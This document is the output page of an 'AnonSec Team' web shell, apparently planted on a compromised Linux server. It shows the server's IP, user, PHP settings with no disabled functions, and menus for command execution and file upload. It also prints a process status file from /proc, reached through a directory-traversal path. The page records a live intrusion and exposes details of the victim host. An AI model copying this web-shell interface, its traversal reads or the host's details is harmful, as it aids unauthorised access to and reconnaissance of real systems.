AnonSec Team
Server IP : 62.171.151.215  /  Your IP : 216.73.217.120
Web Server : nginx/1.18.0
System : Linux vmi3128365 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User : alex ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../lib/python3/../python3/../python3/../python3/../python3/../../lib/../../../../proc/1533/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../lib/python3/../python3/../python3/../python3/../python3/../../lib/../../../../proc/1533/status
Name:	postgres
Umask:	0077
State:	S (sleeping)
Tgid:	1533
Ngid:	0
Pid:	1533
PPid:	1437
TracerPid:	0
Uid:	70	70	70	70
Gid:	70	70	70	70
FDSize:	64
Groups:	70 
NStgid:	1533	30
NSpid:	1533	30
NSpgid:	1533	30
NSsid:	1533	30
VmPeak:	  173916 kB
VmSize:	  173916 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    9224 kB
VmRSS:	    9224 kB
RssAnon:	    1948 kB
RssFile:	    2956 kB
RssShmem:	    4320 kB
VmData:	    1176 kB
VmStk:	     132 kB
VmExe:	    5332 kB
VmLib:	    9668 kB
VmPTE:	     104 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/47663
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000400000
SigIgn:	0000000001703800
SigCgt:	0000000020004207
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	00000000a80425fb
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	2
Seccomp_filters:	1
Speculation_Store_Bypass:	thread vulnerable
SpeculationIndirectBranch:	conditional enabled
Cpus_allowed:	3f
Cpus_allowed_list:	0-5
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	4415732
nonvoluntary_ctxt_switches:	57512

AnonSec - 2021